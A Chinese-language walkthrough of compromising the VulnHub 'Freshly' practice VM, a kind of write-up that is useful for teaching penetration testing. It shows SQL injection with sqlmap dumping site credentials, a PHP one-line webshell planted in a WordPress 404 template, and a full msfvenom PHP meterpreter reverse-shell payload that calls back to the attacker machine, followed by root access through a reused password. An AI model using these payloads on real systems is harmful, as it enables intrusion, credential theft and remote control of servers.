记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Freshly靶机渗透

2020-11-22 05:47


靶机下载链接 :

https://download.vulnhub.com/tophatsec/Freshly.ova

测试环境:

靶机:Freshly      

网络连接方式:桥接模式           

运行软件:Virtualbox

攻击机:kali,win10

网络连接方式:桥接模式













信息收集


1.1、确认IP


nmap扫描确认主机存活,确认靶机IP:192.168.50.78

nmap -sn 192.168.50.1/24



1.2、扫描端口和服务


nmap扫描端口和服务,将结果报错到freshly.txt文件中

nmap -p- -A 192.168.50.78 -oN freshly.txt

收集的信息:

80         http

443       https

8080     http

linux3.2-4.9     ubuntu  apache2.4.7



1.3、访问http服务


访问80端口,http://192.168.50.78/, 一张图片,没有发现什么有用的信息



访问443端口,https://192.168.50.78/ ,找到一个wordpress站点

https://192.168.50.78/wordpress/




访问8080,http://192.168.50.78:8080/ ,还是得到这个页面

https://192.168.50.78/wordpress/


1.4、扫描目录


dirb扫描目录

/img/

/wordpress/



dirbuster扫描目录










找web漏洞


2.1、查看wordpress页面


访问

/store/,/cart/,/checkout/,/express/,/ipn/,/receipt/,这几个目录,没找到什么有用的信息



访问

http://192.168.50.78:8080/wordpress/atom ,一个邮件订阅页面,没发现有什么用



在搜索处尝试SQL注入,没有成功,用sqlmap也没结果


 

访问

http://192.168.50.78:8080/wordpress/wp-admin/ ,是一个更新数据库的页面



更新了下,没发现页面有什么变化



页面跳转至

http://192.168.50.78:8080/wordpress/login ,wordpress后台的登陆页



提示密码错误,说明admin用户存在,尝试弱口令爆破,没有成功



在主页下方的留言板留言试试



页面跳转至

https://192.168.50.78/wordpress/wp-comments-post.php ,并提示错误,没测出来漏洞




2.2、wpscan扫描


用wpscan扫描下,没发现什么有用的信息




2.3、忽略掉的思路和方向


扫目录加上端口


扫描目录时,忘了加端口,而默认扫描的,不是80端口下的内容,导致扫描出来的目录不全

重新扫描,http://192.168.50.78:80/

得到新的方向:

http://192.168.50.78:80/login.php

http://192.168.50.78:80/phpmyadmin/    

http://192.168.50.78:80/javascript/



访问

http://192.168.50.78:80/phpmyadmin/ ,尝试爆破,失败



SQL注入


访问http://192.168.50.78:80/login.php ,发现是个登陆页面



尝试万能密码,发现单引号就能绕过

1' or 1=1 #



页面没有跳转,只有0和1的显示,属于布尔型的注入


确认数据库名长度


确认数据库名长度为5

1' or 1=1 and length(database())=5#  //回显1

1' or 1=1 and length(database())>5# //回显0




sqlmap


布尔盲注有些繁琐,还是用sqlmap跑下吧

先拿到POST请求包,在user=1后加个*指定下注入点,将请求包保存到sqltest.txt中


POST /login.php HTTP/1.1Host: 192.168.50.78User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.50.78/login.phpCookie: PHPSESSID=qj4c92fpeec7236d5iio3eceb3; Cart66DBSID=O2RHWHKR2J77SNGIKR89DWXKCOAXPLIL3DQRF2VDConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 26user=1*&password=1&s=Submi


使用sqlmap进行测试

sqlmap -r sqltest.txt --batch



结果跑出来的是个时间盲注。。。



sqlmap -r sqltest.txt --dbs --batch


跑库名


[*] information_schema[*] login[*] mysql[*] performance_schema[*] phpmyadmin[*] users[*] wordpress8080



sqlmap -r sqltest.txt -D login --tables --batch


跑表名


+-----------+| user_name || users     |+-----------+



sqlmap -r sqltest.txt -D users --tables --batch

结果,users下没有表



sqlmap -r sqltest.txt -D wordpress8080 --tables --batch


+-------+| users |+-------+



sqlmap -r sqltest.txt -D phpmyadmin --tables --batch


+---------------------+| pma_bookmark        || pma_column_info     || pma_designer_coords || pma_history         || pma_pdf_pages       || pma_recent          || pma_relation        || pma_table_coords    || pma_table_info      || pma_table_uiprefs   || pma_tracking        || pma_userconfig      |+---------------------+



跑字段


查询login数据库下users表中的字段,password和user_name

sqlmap -r sqltest.txt -D login -T users --columns --batch


+-----------+-------------+| Column    | Type        |+-----------+-------------+| password  | varchar(20) || user_name | varchar(20) |+-----------+-------------+



查询login数据库下user_name表中的字段,得到user_name字段

sqlmap -r sqltest.txt -D login -T user_name --columns --batch



查询wordpress8080数据库下users表中的字段,得到password与username字段

sqlmap -r sqltest.txt -D wordpress8080 -T users --columns --batch



跑值


查询login数据库下user_name表下的user_name字段的值,得到candyshop

sqlmap -r sqltest.txt -D login -T user_name -C user_name --dump --batch



查询login数据库下users表下的user_name字段的值,得到candyshop和Sir

sqlmap -r sqltest.txt -D login -T users -C user_name --dump --batch



查询login数据库下users表下的password字段的值,得到password和PopRocks

sqlmap -r sqltest.txt -D login -T users -C password --dump --batch



查询wordpress8080 数据库下users表下的username字段的值,得到admin

sqlmap -r sqltest.txt -D wordpress8080 -T users -C username --dump --batch



查询wordpress8080 数据库下users表下的password字段的值,得到SuperSecretPassword

sqlmap -r sqltest.txt -D wordpress8080 -T users -C password --dump --batch



2.4、拿shell


C刀


拿到上面三对账号密码尝试登陆Wordpress,只有admin与SuperSecretPassword可以登陆



既然成功登陆到Wordpress,这次还是利用404页面拿shell

试着直接往404页面末尾加入一句话木马

<?php @assert($_POST[x]); ?>



用蚁剑连接失败,用C刀可以连接404页面

https://192.168.50.78/wordpress/wp-content/themes/Kratos-2/404.php   密码x



试着通过C刀的模拟终端来提权发现不行,干脆直接重新上传个webshell即可,但不知道为啥C刀一上传文件软件就崩溃了,算了,换个方式


msf反弹shell

通过msf生成php格式的webshell,将内容复制刀404.php中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.50.131 LPORT=9999 -f raw >shell.php

得到shell.php的具体内容如下:


/*<?php /**/ error_reporting(0); $ip = '192.168.50.131';$port = 9999; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}");$s_type = 'stream';}if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port);if (!$res) { die(); }$s_type = 'socket';}if (!$s_type) { die('no socket funcs'); }if (!$s) { die('no socket'); }switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; }if (!$len) { die();}$a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } }$GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type;if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b);$suhosin_bypass(); }else { eval($b); }die();


将shell内容放到<?php  ?>标签中,然后复制到404.php最下方


 

msf监听9999端口


use exploit/multi/handlerset payload php/meterpreter/reverse_tcpset lhost 192.168.50.131set lport 9999exploit


访问https://192.168.50.78/wordpress/wp-content/themes/Kratos-

2/404.php   这个404页面

成功反弹shell,使用python反弹终端

python -c 'import 

pty;pty.spawn("/bin/bash")'



2.5、提权


输入su

输入密码SuperSecretPassword

成功提权至root



本来还查看了/etc/passwd,发现有用户candycane,输入密码password,切换了用户



再从candycane提权到root



没想到直接从daemon提权至root成功了。。。








总结


遇到的坑:


1、扫目录的时候没有加端口,以为不加端口就是默认扫描80端口。。没想到默认扫的是8080端口,导致一直没找到突破口

2、尝试菜刀拿shell时,通过菜刀连接,一上传或下载文件就卡死。。。

3、尝试msf反弹shell时,发现shell.php并无完整的php标签<?php ?>,随意将代码复制到了原404代码中的<?php ?>中,虽然也能成功反弹shell,但404.php页面会打不开



新get的思路和方法:


可以在保证404页面正常访问前提下,利用wordpress的404页面反弹shell





end





知识来源: https://mp.weixin.qq.com/s?__biz=MzI5MDE0MjQ1NQ==&mid=2247501601&idx=1&sn=7f2bb1826db31fba48ea603ce5ead5b3&chksm=ec26e6b9db516fafd3302166e39d0e6c6d1c28a3cf4fb2d7e9d1774aeeeee34ccfcd7dade5e8&scene=27&k

阅读:6973 | 评论:0 | 标签:渗透 靶机

想收藏或者和大家分享这篇好文章→复制链接地址

“Freshly靶机渗透”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云

本页关键词